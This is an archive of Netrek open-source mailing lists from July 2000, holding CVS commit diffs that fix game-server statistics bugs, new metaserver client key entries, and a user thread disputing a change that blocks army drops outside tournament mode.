 OpenBSD-sparc-paradise-2.4:ct=Paradise 2.4:cr=Ari Johnson <ari_j@hotmail.com>:\ 
-   :cd=January 1999:ar=sparc/OpenBSD:\
+   :cd=January 1999:ar=sparc/OpenBSD:cl-paradise2,inl:\
    :cm=:\
    :gk=33dc5e852188d22fcb95a08cec5bce3caec432a662785bf82f7d9aad3a27da2d:\
    :pk=87cd0be1dbc407872f62bba4ffd8c1ca8affd8dbf2e40d494ff65e2c22f1a522:
 #
 paradise.jkauffman.x86-sol7:ct=Paradise 2.4 Patch 1b:cr=John Kauffman <jkauffm@hellfire.dusers.drexel.edu>:\
-   :cd=January 1999:ar=x86/Sol7:\
+   :cd=January 1999:ar=x86/Sol7:cl-paradise2,inl:\
    :cm=Standard Client:\
    :gk=110e2d748f552c135f6c9262ec901bc2653a05de4d0d9b630eb0d8cac6ceda4b:\
    :pk=e111dfe6b1a01db9c96a8e716dd79958d8a1b77cab91a191769059020991161a:
 #
 paradise2-intel-freebsd:ct=Paradise 2.99:cr=Dave Ahn <ahn@users.sourceforge.net>:\
-   :cd=July 2000:ar=i386/FreeBSD 4.0:cl=paradise2,inl\                
+   :cd=July 2000:ar=i386/FreeBSD 4.0:cl=paradise2,inl:\                
    :cm=Last Paradise 2.x client release.  http://paradise.netrek.org/:\
    :gk=5da5bb61455e40ba63dc6da3da95ecb665def0a07db44bb64e3f1d154b88081c:\       
    :pk=c7d8f6983492bb0a86d1a23ed0447868d0608953666eecf08de86e0a51e5d114:
 #
 paradise2-intel-linux:ct=Paradise 2.99:cr=Dave Ahn <ahn@users.sourceforge.net>:\
-   :cd=July 2000:ar=i386/Linux 2.2:cl=paradise2,inl\
+   :cd=July 2000:ar=i386/Linux 2.2:cl=paradise2,inl:\
    :cm=Last Paradise 2.x client release.  http://paradise.netrek.org/:\
    :gk=39bc1defd32c8f997baf6fc38154e1a404c217606f97a02df5b7586e77d17d3f:\
    :pk=5f065909074852dcbaaf3e15a5a3474f8968e7924a87449e00786624216b2731:        
 #
 paradise2-sgi-irix32:ct=Paradise 2.99:cr=Dave Ahn <ahn@users.sourceforge.net>:\
-   :cd=July 2000:ar=SGI/IRIX 6.2:cl=paradise2,inl\
+   :cd=July 2000:ar=SGI/IRIX 6.2:cl=paradise2,inl:\
    :cm=Last Paradise 2.x client release.  http://paradise.netrek.org/:\         
    :gk=97f42d56c47f0107c99b93f9469dfb6cd1923cfdc8580da4d735368201ecdf33:\       
    :pk=436356d66d617b3443a01ac6e68e70fb8ac411dfe771ba48f6a7ed6020ac8523:        
 #
 paradise2-sgi-irix64:ct=Paradise 2.99:cr=Dave Ahn <ahn@users.sourceforge.net>:\
-   :cd=July 2000:ar=SGI/IRIX64 6.5:cl=paradise2,inl\
+   :cd=July 2000:ar=SGI/IRIX64 6.5:cl=paradise2,inl:\
    :cm=Last Paradise 2.x client release.  http://paradise.netrek.org/:\
    :gk=f7fdffd5514e4e858a59a9855e262fd89eb7fa5743d88ab423e3c82a0e15af09:\
    :pk=0be40315854a2898faea9bc2e9f89ffd6bed79cd4c4d9de3466712eb1dcb4f04:
 #
 paradise2-sparc-solaris:ct=Paradise 2.99:cr=Dave Ahn <ahn@users.sourceforge.net>:\
-   :cd=July 2000:ar=Sparc/Solaris 2.7:\      
+   :cd=July 2000:ar=Sparc/Solaris 2.7:cl=paradise2,inl:\      
    :cm=Last Paradise 2.x client release.  http://paradise.netrek.org/:\
    :gk=8d089f9b913a733459282553420e9c7e1b0e46cc04d1817a02ff471e4309cb3d:\
    :pk=b73e71103c8132cc56c5d4044f734d7dfe93a43633b2fdba533565669b56401c:

From vanilla-devel at us.netrek.org  Thu Jul 20 19:55:00 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:12 2005
Subject: [Vanilla Devel] CVS update: Vanilla
Message-ID: <200007210055.e6L0t0423525@swashbuckler.fortress.real-time.com>

Date:	Thursday July 20, 2000 @ 19:54
Author:	ahn

Update of /home/netrek/cvsroot/Vanilla
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv23522

Modified Files:
	ChangeLog 
Log Message:
Fix stat reset bug.


****************************************

Index: Vanilla/ChangeLog
diff -u Vanilla/ChangeLog:1.89 Vanilla/ChangeLog:1.90
--- Vanilla/ChangeLog:1.89	Mon Jul 17 13:46:59 2000
+++ Vanilla/ChangeLog	Thu Jul 20 19:54:59 2000
@@ -1,3 +1,8 @@
+Thu Jul 20 21:54:18 EDT 2000  Dave Ahn <ahn@users.sourceforge.net>
+	
+	* ntserv/socket.c: Fix bug where stat reset using 'R' fails to
+ 	clear rank in LTD_STATS mode.
+	
 Mon Jul 17 15:47:02 EDT 2000  Dave Ahn <ahn@users.sourceforge.net>
 	
 	* robots/end_tourney.pl: Fix end_tourney.pl script so that output
@@ -1017,4 +1022,4 @@
  	update_sys_defaults in updateMessages to a more appropriate
  	location - updateClient in socket.c.
 	
-	$Id: ChangeLog,v 1.89 2000/07/17 18:46:59 ahn Exp $
+	$Id: ChangeLog,v 1.90 2000/07/21 00:54:59 ahn Exp $

From vanilla-devel at us.netrek.org  Thu Jul 20 19:55:00 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:12 2005
Subject: [Vanilla Devel] CVS update: Vanilla/ntserv
Message-ID: <200007210055.e6L0t0s23530@swashbuckler.fortress.real-time.com>

Date:	Thursday July 20, 2000 @ 19:55
Author:	ahn

Update of /home/netrek/cvsroot/Vanilla/ntserv
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv23522/ntserv

Modified Files:
	socket.c 
Log Message:
Fix stat reset bug.


****************************************

Index: Vanilla/ntserv/socket.c
diff -u Vanilla/ntserv/socket.c:1.25 Vanilla/ntserv/socket.c:1.26
--- Vanilla/ntserv/socket.c:1.25	Sat Jul  1 03:35:44 2000
+++ Vanilla/ntserv/socket.c	Thu Jul 20 19:55:00 2000
@@ -1,4 +1,4 @@
-/* $Id: socket.c,v 1.25 2000/07/01 08:35:44 xyzzy Exp $
+/* $Id: socket.c,v 1.26 2000/07/21 00:55:00 ahn Exp $
  */
 
 /*
@@ -1753,6 +1753,7 @@
 #ifdef LTD_STATS
 
     ltd_reset(me);
+    mystats->st_rank=0;
 
 #else
     mystats->st_maxkills=0.0;

From vanilla-devel at us.netrek.org  Thu Jul 20 19:56:31 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:12 2005
Subject: [Vanilla Devel] CVS update: Vanilla/ntserv
Message-ID: <200007210056.e6L0uVl23541@swashbuckler.fortress.real-time.com>

Date:	Thursday July 20, 2000 @ 19:56
Author:	ahn

Update of /home/netrek/cvsroot/Vanilla/ntserv
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv23538

Modified Files:
	socket.c 
Log Message:
Fix stat reset bug.


****************************************

Index: Vanilla/ntserv/socket.c
diff -u Vanilla/ntserv/socket.c:1.26 Vanilla/ntserv/socket.c:1.27
--- Vanilla/ntserv/socket.c:1.26	Thu Jul 20 19:55:00 2000
+++ Vanilla/ntserv/socket.c	Thu Jul 20 19:56:31 2000
@@ -1,4 +1,4 @@
-/* $Id: socket.c,v 1.26 2000/07/21 00:55:00 ahn Exp $
+/* $Id: socket.c,v 1.27 2000/07/21 00:56:31 ahn Exp $
  */
 
 /*
@@ -1773,11 +1773,11 @@
     mystats->st_sbticks=0;
     mystats->st_sbmaxkills=0.0;
 
+#endif /* LTD_STATS */
+
 #ifdef GENO_COUNT
     mystats->st_genos=0;
 #endif
-
-#endif /* LTD_STATS */
 
 #ifndef lint
 

From vanilla-devel at us.netrek.org  Thu Jul 20 20:03:51 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:12 2005
Subject: [Vanilla Devel] CVS update: Vanilla
Message-ID: <200007210103.e6L13pc23589@swashbuckler.fortress.real-time.com>

Date:	Thursday July 20, 2000 @ 20:03
Author:	ahn

Update of /home/netrek/cvsroot/Vanilla
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv23586

Modified Files:
	ChangeLog 
Log Message:
LTD_TOTAL fixes.


****************************************

Index: Vanilla/ChangeLog
diff -u Vanilla/ChangeLog:1.90 Vanilla/ChangeLog:1.91
--- Vanilla/ChangeLog:1.90	Thu Jul 20 19:54:59 2000
+++ Vanilla/ChangeLog	Thu Jul 20 20:03:51 2000
@@ -1,3 +1,8 @@
+Thu Jul 20 22:07:12 EDT 2000  Dave Ahn <ahn@users.sourceforge.net>
+	
+	* ntserv/ltd_stats.c: For some reason, LTD_TOTAL stats weren't
+ 	getting updated correctly.  Should be fixed now.
+	
 Thu Jul 20 21:54:18 EDT 2000  Dave Ahn <ahn@users.sourceforge.net>
 	
 	* ntserv/socket.c: Fix bug where stat reset using 'R' fails to
@@ -1022,4 +1027,4 @@
  	update_sys_defaults in updateMessages to a more appropriate
  	location - updateClient in socket.c.
 	
-	$Id: ChangeLog,v 1.90 2000/07/21 00:54:59 ahn Exp $
+	$Id: ChangeLog,v 1.91 2000/07/21 01:03:51 ahn Exp $

From vanilla-devel at us.netrek.org  Thu Jul 20 20:03:52 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:12 2005
Subject: [Vanilla Devel] CVS update: Vanilla/ntserv
Message-ID: <200007210103.e6L13qT23594@swashbuckler.fortress.real-time.com>

Date:	Thursday July 20, 2000 @ 20:03
Author:	ahn

Update of /home/netrek/cvsroot/Vanilla/ntserv
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv23586/ntserv

Modified Files:
	ltd_stats.c 
Log Message:
LTD_TOTAL fixes.


****************************************

Index: Vanilla/ntserv/ltd_stats.c
diff -u Vanilla/ntserv/ltd_stats.c:1.4 Vanilla/ntserv/ltd_stats.c:1.5
--- Vanilla/ntserv/ltd_stats.c:1.4	Fri Jun 25 16:50:11 1999
+++ Vanilla/ntserv/ltd_stats.c	Thu Jul 20 20:03:51 2000
@@ -1,4 +1,4 @@
-/* $Id: ltd_stats.c,v 1.4 1999/06/25 21:50:11 ahn Exp $
+/* $Id: ltd_stats.c,v 1.5 2000/07/21 01:03:51 ahn Exp $
  *
  * Dave Ahn
  *
@@ -77,8 +77,8 @@
     /* forced update the LTD_TOTAL slot on demand */
     for (race=0; race<LTD_NUM_RACES; race++) {
       for (ship=1; ship<LTD_NUM_SHIPS; ship++) {
-        if (ship == LTD_SB) continue;
-        total += p->p_stats.ltd[race][ship].kills.total;
+        if (ship != LTD_SB)
+          total += p->p_stats.ltd[race][ship].kills.total;
       }
       p->p_stats.ltd[race][LTD_TOTAL].kills.total = total;
     }
@@ -97,8 +97,8 @@
     /* forced update the LTD_TOTAL slot on demand */
     for (race=0; race<LTD_NUM_RACES; race++) {
       for (ship=1; ship<LTD_NUM_SHIPS; ship++) {
-        if (ship == LTD_SB) continue;
-        total += p->p_stats.ltd[race][ship].deaths.total;
+        if (ship != LTD_SB)
+          total += p->p_stats.ltd[race][ship].deaths.total;
       }
       p->p_stats.ltd[race][LTD_TOTAL].deaths.total = total;
     }
@@ -112,20 +112,24 @@
 
   if (s == LTD_TOTAL) {
 
-    int race, ship, total = 0;
+    int race, ship, total = 0, ogg_total = 0;
 
     /* forced update the LTD_TOTAL slot on demand */
     for (race=0; race<LTD_NUM_RACES; race++) {
       for (ship=1; ship<LTD_NUM_SHIPS; ship++) {
-        if (ship == LTD_SB) continue;
-        total += p->p_stats.ltd[race][ship].bomb.armies;
+        if (ship != LTD_SB) {
+          total += p->p_stats.ltd[race][ship].bomb.armies;
+          ogg_total += p->p_stats.ltd[race][ship].ogged.armies;
+        }
       }
       p->p_stats.ltd[race][LTD_TOTAL].bomb.armies = total;
+      p->p_stats.ltd[race][LTD_TOTAL].ogged.armies = ogg_total;
     }
 
   }
 
-  return (p->p_stats.ltd[ltd_race(p->p_team)][s].bomb.armies);
+  return (p->p_stats.ltd[ltd_race(p->p_team)][s].bomb.armies +
+          5 * p->p_stats.ltd[ltd_race(p->p_team)][s].ogged.armies);
 }
 
 int ltd_planets_taken(struct player *p, LTD_SHIP_T s) {
@@ -137,8 +141,8 @@
     /* forced update the LTD_TOTAL slot on demand */
     for (race=0; race<LTD_NUM_RACES; race++) {
       for (ship=1; ship<LTD_NUM_SHIPS; ship++) {
-        if (ship == LTD_SB) continue;
-        total += p->p_stats.ltd[race][ship].planets.taken;
+        if (ship != LTD_SB)
+          total += p->p_stats.ltd[race][ship].planets.taken;
       }
       p->p_stats.ltd[race][LTD_TOTAL].planets.taken = total;
 
@@ -150,7 +154,6 @@
 
 int ltd_ticks(struct player *p, LTD_SHIP_T s) {
 
-
   if (s == LTD_TOTAL) {
 
     int race, ship, total = 0;
@@ -159,8 +162,8 @@
 
     for (race=0; race<LTD_NUM_RACES; race++) {
       for (ship=1; ship<LTD_NUM_SHIPS; ship++) {
-        if (ship == LTD_SB) continue;
-        total += p->p_stats.ltd[race][ship].ticks.total;
+        if (ship != LTD_SB)
+          total += p->p_stats.ltd[race][ship].ticks.total;
       }
       p->p_stats.ltd[race][LTD_TOTAL].ticks.total = total;
     }
@@ -180,10 +183,9 @@
 
     for (race=0; race<LTD_NUM_RACES; race++) {
       for (ship=1; ship<LTD_NUM_SHIPS; ship++) {
-        if (ship == LTD_SB) continue;
-        if (p->p_stats.ltd[race][ship].kills.max > max) {
-          max = p->p_stats.ltd[race][ship].kills.max;
-        }
+        if (ship != LTD_SB)
+          if (p->p_stats.ltd[race][ship].kills.max > max)
+            max = p->p_stats.ltd[race][ship].kills.max;
       }
       p->p_stats.ltd[race][LTD_TOTAL].kills.max = max;
     }

From vanilla-devel at us.netrek.org  Thu Jul 20 20:08:27 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:13 2005
Subject: [Vanilla Devel] CVS update: Vanilla
Message-ID: <200007210108.e6L18Rr23617@swashbuckler.fortress.real-time.com>

Date:	Thursday July 20, 2000 @ 20:08
Author:	ahn

Update of /home/netrek/cvsroot/Vanilla
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv23614

Modified Files:
	ChangeLog 
Log Message:
Fix session stats for LTD_STATS mode.


****************************************

Index: Vanilla/ChangeLog
diff -u Vanilla/ChangeLog:1.91 Vanilla/ChangeLog:1.92
--- Vanilla/ChangeLog:1.91	Thu Jul 20 20:03:51 2000
+++ Vanilla/ChangeLog	Thu Jul 20 20:08:27 2000
@@ -3,7 +3,10 @@
 	* ntserv/ltd_stats.c: For some reason, LTD_TOTAL stats weren't
  	getting updated correctly.  Should be fixed now.
 	
-Thu Jul 20 21:54:18 EDT 2000  Dave Ahn <ahn@users.sourceforge.net>
+	* ntserv/genspkt.c: In LTD_STATS mode, incorrect player stat
+ 	packets were being sent to the client causing session stats to be
+ 	the same as lifetime stats.  Makes no difference in INL mode, but
+ 	causes problems in pickup mode.  Fixed.
 	
 	* ntserv/socket.c: Fix bug where stat reset using 'R' fails to
  	clear rank in LTD_STATS mode.
@@ -1027,4 +1030,4 @@
  	update_sys_defaults in updateMessages to a more appropriate
  	location - updateClient in socket.c.
 	
-	$Id: ChangeLog,v 1.91 2000/07/21 01:03:51 ahn Exp $
+	$Id: ChangeLog,v 1.92 2000/07/21 01:08:27 ahn Exp $

From vanilla-devel at us.netrek.org  Thu Jul 20 20:08:27 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:13 2005
Subject: [Vanilla Devel] CVS update: Vanilla/ntserv
Message-ID: <200007210108.e6L18RN23622@swashbuckler.fortress.real-time.com>

Date:	Thursday July 20, 2000 @ 20:08
Author:	ahn

Update of /home/netrek/cvsroot/Vanilla/ntserv
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv23614/ntserv

Modified Files:
	genspkt.c 
Log Message:
Fix session stats for LTD_STATS mode.


****************************************

Index: Vanilla/ntserv/genspkt.c
diff -u Vanilla/ntserv/genspkt.c:1.17 Vanilla/ntserv/genspkt.c:1.18
--- Vanilla/ntserv/genspkt.c:1.17	Sat Jul  1 03:35:44 2000
+++ Vanilla/ntserv/genspkt.c	Thu Jul 20 20:08:27 2000
@@ -2054,7 +2054,10 @@
     unsigned int total_kills, total_deaths, total_armies_bombed, total_ticks,
         total_planets_taken, sb_kills, sb_deaths, sb_ticks;
 
+    unsigned int my_kills, my_deaths, my_armies_bombed, my_ticks,
+        my_planets_taken, my_sb_kills, my_sb_deaths, my_sb_ticks;
 
+
     if(repCount % i)
 	return;
 
@@ -2069,6 +2072,15 @@
        reset).  Stick it in here for lack of a better place.  Needed because
        these are ntserv process variables, so robot can't touch them. */
 
+    my_kills		= ltd_kills(me, LTD_TOTAL);
+    my_deaths		= ltd_deaths(me, LTD_TOTAL);
+    my_armies_bombed	= ltd_armies_bombed(me, LTD_TOTAL);
+    my_ticks		= ltd_ticks(me, LTD_TOTAL);
+    my_planets_taken	= ltd_planets_taken(me, LTD_TOTAL);
+    my_sb_kills		= ltd_kills(me, LTD_SB);
+    my_sb_deaths	= ltd_deaths(me, LTD_SB);
+    my_sb_ticks		= ltd_ticks(me, LTD_SB);
+
     total_kills		= ltd_kills(pl, LTD_TOTAL);
     total_deaths	= ltd_deaths(pl, LTD_TOTAL);
     total_armies_bombed	= ltd_armies_bombed(pl, LTD_TOTAL);
@@ -2080,17 +2092,17 @@
 
 
 
-    if (startTkills > total_kills ||
-        startTlosses > total_deaths ||
-        startTarms > total_armies_bombed ||
-        startTplanets > total_planets_taken ||
-        startTticks > total_ticks)
+    if (startTkills > my_kills ||
+        startTlosses > my_deaths ||
+        startTarms > my_armies_bombed ||
+        startTplanets > my_planets_taken ||
+        startTticks > my_ticks)
     {
-        startTkills = total_kills;
-        startTlosses = total_deaths;
-        startTarms = total_armies_bombed;
-        startTplanets = total_planets_taken;
-        startTticks = total_ticks;
+        startTkills = my_kills;
+        startTlosses = my_deaths;
+        startTarms = my_armies_bombed;
+        startTplanets = my_planets_taken;
+        startTticks = my_ticks;
     }
 
     /*

From vanilla-devel at us.netrek.org  Thu Jul 20 20:16:08 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:13 2005
Subject: [Vanilla Devel] CVS update: Vanilla
Message-ID: <200007210116.e6L1G8o23653@swashbuckler.fortress.real-time.com>

Date:	Thursday July 20, 2000 @ 20:16
Author:	ahn

Update of /home/netrek/cvsroot/Vanilla
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv23650

Modified Files:
	ChangeLog 
Log Message:
Oops, forgot to document another change.


****************************************

Index: Vanilla/ChangeLog
diff -u Vanilla/ChangeLog:1.92 Vanilla/ChangeLog:1.93
--- Vanilla/ChangeLog:1.92	Thu Jul 20 20:08:27 2000
+++ Vanilla/ChangeLog	Thu Jul 20 20:16:07 2000
@@ -1,7 +1,10 @@
 Thu Jul 20 22:07:12 EDT 2000  Dave Ahn <ahn@users.sourceforge.net>
 	
 	* ntserv/ltd_stats.c: For some reason, LTD_TOTAL stats weren't
- 	getting updated correctly.  Should be fixed now.
+ 	getting updated correctly.  Should be fixed now.  Also, bombing
+ 	rating compat function now gives 5x bonus for ogged armies under
+ 	LTD_STATS.  Note that this bonus is for ratings calculation only.
+  	Actual armies bombed is still the same.
 	
 	* ntserv/genspkt.c: In LTD_STATS mode, incorrect player stat
  	packets were being sent to the client causing session stats to be
@@ -1030,4 +1033,4 @@
  	update_sys_defaults in updateMessages to a more appropriate
  	location - updateClient in socket.c.
 	
-	$Id: ChangeLog,v 1.92 2000/07/21 01:08:27 ahn Exp $
+	$Id: ChangeLog,v 1.93 2000/07/21 01:16:07 ahn Exp $

From vanilla-devel at us.netrek.org  Fri Jul 21 20:16:52 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:13 2005
Subject: [Vanilla Devel] CVS update: metaserver
Message-ID: <200007220116.e6M1Gqt24266@swashbuckler.fortress.real-time.com>

Date:	Friday July 21, 2000 @ 20:16
Author:	unbelver

Update of /home/netrek/cvsroot/metaserver
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv24263

Modified Files:
	rsa_keys 
Log Message:
More keys.

--Carlos V.




****************************************

Index: metaserver/rsa_keys
diff -u metaserver/rsa_keys:2.17 metaserver/rsa_keys:2.18
--- metaserver/rsa_keys:2.17	Thu Jul 20 17:39:35 2000
+++ metaserver/rsa_keys	Fri Jul 21 20:16:51 2000
@@ -299,6 +299,18 @@
    :gk=5b989dcc3c082c4a4028864539138062d52b960d2b921926271620f512af4874:\
    :pk=5d1c9dca2304098f3d4639db706f3dff0855820f35d6bf2e35915e4009ad0425:
 #
+brmh-sgi-irix32:ct=BRMH 2.4:cr=Dave Ahn <ahn@users.sourceforge.net>:\
+   :cd=July 2000:ar=SGI/IRIX 6.2:cl=inl,standard2:\
+   :cm=ftp://ftp.netrek.org/pub/netrek/clients/brmh/:\
+   :gk=a9d57932978e56c90992953c3711ba2d21f35f0a76405388181bf445609fbd0b:\
+   :pk=a30396f02e4072d2596a89b5dbcebeaf44ac914210191796b4276aa68c9cc709:
+#
+brmh-sgi-irix64:ct=BRMH 2.4:cr=Dave Ahn <ahn@users.sourceforge.net>:\
+   :cd=July 2000:ar=SGI/IRIX64 6.5:cl=inl,standard2:\
+   :cm=ftp://ftp.netrek.org/pub/netrek/clients/brmh/:\
+   :gk=e594818e4f8d6b3f8064c4b03c585b3774b9115911d959fb47f9394bff30932f:\
+   :pk=eb05fb21319e748eb29b06f8e627af8c5e4f3daa8e85c85209797ccada8afd09:
+#
 #
 #	COW Clients
 # keep

From vanilla-devel at us.netrek.org  Wed Jul 26 22:18:28 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:13 2005
Subject: [Vanilla Devel] CVS update: Vanilla/tools
Message-ID: <200007270318.e6R3IS927492@swashbuckler.fortress.real-time.com>

Date:	Wednesday July 26, 2000 @ 22:18
Author:	unbelver

Update of /home/netrek/cvsroot/Vanilla/tools
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv27489

Modified Files:
	.cvsignore 
Log Message:

--Carlos V.



****************************************

Index: Vanilla/tools/.cvsignore
diff -u Vanilla/tools/.cvsignore:1.2 Vanilla/tools/.cvsignore:1.3
--- Vanilla/tools/.cvsignore:1.2	Thu Jan 13 14:01:12 2000
+++ Vanilla/tools/.cvsignore	Wed Jul 26 22:18:28 2000
@@ -25,3 +25,4 @@
 cambot
 ntpasswd
 ltd_dump
+ltd_convert

From xyzzy at speakeasy.org  Sat Jul  1 04:25:19 2000
From: xyzzy at speakeasy.org (Trent Piepho)
Date: Wed Jan 12 00:51:57 2005
Subject: [Vanilla List] why no non-t dropping?
Message-ID: <Pine.LNX.4.04.10007010215490.21459-100000@xyzzy.dsl.speakeasy.net>

I see that dropping armies outside of t-mode has been disable, without any
discussion or configuration options.  

There isn't even any warning message, that armies can't be beamed out of T. 
In fact, you can still try to beam armies, your ship will just sit there on
the planet saying that armies are getting beamed down, but none will ever
move.

If someone doesn't like people playing out of T, this is hardly a good way to
do it.  Not only is it a controversial gameplay change without any discussion
or consensus, it's a poorly implemented gameplay change.


From mailman-owner at lists.real-time.com  Sat Jul  1 05:02:56 2000
From: mailman-owner at lists.real-time.com (mailman-owner@lists.real-time.com)
Date: Wed Jan 12 00:51:57 2005
Subject: [Vanilla List] us.netrek.org mailing list memberships reminder
Message-ID: <200007011002.e61A2un17882@sprite.real-time.com>

This is a reminder, sent out once a month, about your us.netrek.org
mailing list memberships.  It includes your subscription info and how
to use it to change it or unsubscribe from a list.

You can visit the URLs to change your membership status or
configuration, including unsubscribing, setting digest-style delivery
or disabling delivery altogether (e.g., for a vacation), and so on.

In addition to the URL interfaces, you can also use email to make such
changes.  For more info, send a message to the '-request' address of
the list (for example, vanilla-announce-request@us.netrek.org)
containing just the word 'help' in the message body, and an email
message will be sent to you with instructions.

If you have questions, problems, comments, etc, send them to
mailman-owner@lists.real-time.com.  Thanks!

Passwords for vanilla-list@us.netrek.org:

List                                     Password // URL
----                                     --------  
vanilla-announce@us.netrek.org           VGyA      
https://mailman.real-time.com/mailman/options/vanilla-announce/vanilla-list@us.netrek.org

From lcrawfor at csc.uvic.ca  Sat Jul  1 22:30:03 2000
From: lcrawfor at csc.uvic.ca (Lee D. Crawford)
Date: Wed Jan 12 00:51:57 2005
Subject: [Vanilla List] Metaserver Question
References: <Pine.LNX.4.04.10007010215490.21459-100000@xyzzy.dsl.speakeasy.net>
Message-ID: <000d01bfe3d5$cf9438c0$97c84518@gvdt1.bc.wave.home.com>

Just curious as to why a server would appear multiple times?

ie:

Exported Metaserver List

  Automatically Generated on: Saturday, Jul 1 2000

  Server Name (Address)                      Ping Time       Type
------------------------------------------.---------------.--------------
  aegis.web4ecom.com                      |     0ms Ping  |  Bronco
  continuum.us.netrek.org                 |     0ms Ping  |  Bronco
  yayislife.dhs.org                       |     0ms Ping  |  Chaos
  yayislife.wox.org                       |     0ms Ping  |  Chaos
  yayislife.dhs.org                       |     0ms Ping  |  Bronco
  yayislife.dhs.org                       |     0ms Ping  |  Chaos
  newbie.psychosis.net                    |     0ms Ping  |  Bronco
  kirk.hal-pc.org                         |     0ms Ping  |  Bronco
  death.rps.net                           |     0ms Ping  |  Bronco
  realm.umd.edu                           |     0ms Ping  |  Bronco
  hp06.ee.ualberta.ca                     |     0ms Ping  |  Paradise
  paradise-lost.kulua.org                 |     0ms Ping  |  Paradise
  paradise.games.uk.demon.net             |     0ms Ping  |  Paradise
  tanya.ucsd.edu                          |     0ms Ping  |  Paradise
  netrek.unh.edu                          |     0ms Ping  |  Bronco
  soda.csua.berkeley.edu                  |     0ms Ping  |  Bronco
  chaos.eic.net                           |     0ms Ping  |  Chaos
  australia.netrek.org                    |     0ms Ping  |  Bronco
  europa.informatik.uni-frankfurt.de      |     0ms Ping  |  Paradise
  hockey.netrek.org                       |     0ms Ping  |  Hockey
  hockey.psychosis.net                    |     0ms Ping  |  Hockey
  mit.netrek.org                          |     0ms Ping  |  Bronco
  spamburger.openface.ca                  |     0ms Ping  |  Bronco
  se.netrek.org                           |     0ms Ping  |  Bronco
  netrek.syd.att.net.au                   |     0ms Ping  |  Bronco



From ahn at vec.wfubmc.edu  Sun Jul  2 17:06:13 2000
From: ahn at vec.wfubmc.edu (Dave Ahn)
Date: Wed Jan 12 00:51:57 2005
Subject: [Vanilla List] why no non-t dropping?
In-Reply-To: <Pine.LNX.4.04.10007010215490.21459-100000@xyzzy.dsl.speakeasy.net>; from xyzzy@speakeasy.org on Sat, Jul 01, 2000 at 02:25:19AM -0700
References: <Pine.LNX.4.04.10007010215490.21459-100000@xyzzy.dsl.speakeasy.net>
Message-ID: <20000702180613.A48874@cecum.vec.wfubmc.edu>

On Sat, Jul 01, 2000 at 02:25:19AM -0700, Trent Piepho wrote:
> I see that dropping armies outside of t-mode has been disable, without any
> discussion or configuration options.  

Actually, I recall some discussion a while back.

> If someone doesn't like people playing out of T, this is hardly a good way to
> do it.  Not only is it a controversial gameplay change without any discussion
> or consensus, it's a poorly implemented gameplay change.

I think James made the changes.  Maybe he can fix the bugs.  But I would
hardly call this a "controversial gameplay change."  Most people on this
list don't seem to care about the out-of-T scumming that James is trying
to stop.

-- 
Dave Ahn | ahn@vec.wfubmc.edu | Wake Forest University Baptist Medical Center

When you were born, you cried and the world rejoiced.  Try to live your life
so that when you die, you will rejoice and the world will cry.  -1/2 jj^2

From doosh at best.com  Sun Jul  2 19:31:07 2000
From: doosh at best.com (Tom Holub)
Date: Wed Jan 12 00:51:57 2005
Subject: [Vanilla List] why no non-t dropping?
In-Reply-To: <20000702180613.A48874@cecum.vec.wfubmc.edu>; from ahn@vec.wfubmc.edu on Sun, Jul 02, 2000 at 06:06:13PM -0400
References: <Pine.LNX.4.04.10007010215490.21459-100000@xyzzy.dsl.speakeasy.net> <20000702180613.A48874@cecum.vec.wfubmc.edu>
Message-ID: <20000702173107.A21379@shell3.ba.best.com>

On Sun, Jul 02, 2000 at 06:06:13PM -0400, Dave Ahn wrote:
> On Sat, Jul 01, 2000 at 02:25:19AM -0700, Trent Piepho wrote:
> > I see that dropping armies outside of t-mode has been disable, without any
> > discussion or configuration options.  
> 
> Actually, I recall some discussion a while back.
> 
> > If someone doesn't like people playing out of T, this is hardly a good way to
> > do it.  Not only is it a controversial gameplay change without any discussion
> > or consensus, it's a poorly implemented gameplay change.
> 
> I think James made the changes.  Maybe he can fix the bugs.  But I would
> hardly call this a "controversial gameplay change."  Most people on this
> list don't seem to care about the out-of-T scumming that James is trying
> to stop.

Who cares what you do out of T?  Every change that's been implemented
to stop out-of-T planet taking has fucked up real games; this will
be no different.
 -Tom

From quozl at us.netrek.org  Sun Jul  2 23:10:20 2000
From: quozl at us.netrek.org (James Cameron)
Date: Wed Jan 12 00:51:57 2005
Subject: [Vanilla List] why no non-t dropping?
In-Reply-To: <20000702173107.A21379@shell3.ba.best.com>; from doosh@best.com on Sun, Jul 02, 2000 at 05:31:07PM -0700
References: <Pine.LNX.4.04.10007010215490.21459-100000@xyzzy.dsl.speakeasy.net> <20000702180613.A48874@cecum.vec.wfubmc.edu> <20000702173107.A21379@shell3.ba.best.com>
Message-ID: <20000703141020.Y14758@us.netrek.org>

Trent, it was discussed, I guess you missed it.  The behaviour I adopted
is consistent with beaming down while at peace; are you suggesting that
a new message should be added for that condition as well?  Is non-T
gameplay really that important to you?

Tom, I can't envisage a situation where a real game will be disturbed by
this change.  Can you elucidate please?  Your input may be valuable in
assuring that the change will have negligible effect.  T-mode would have
to drop before the new behaviour occurs.  I've not seen many real games
where this is a problem, apart from dying pickup games, or massive net
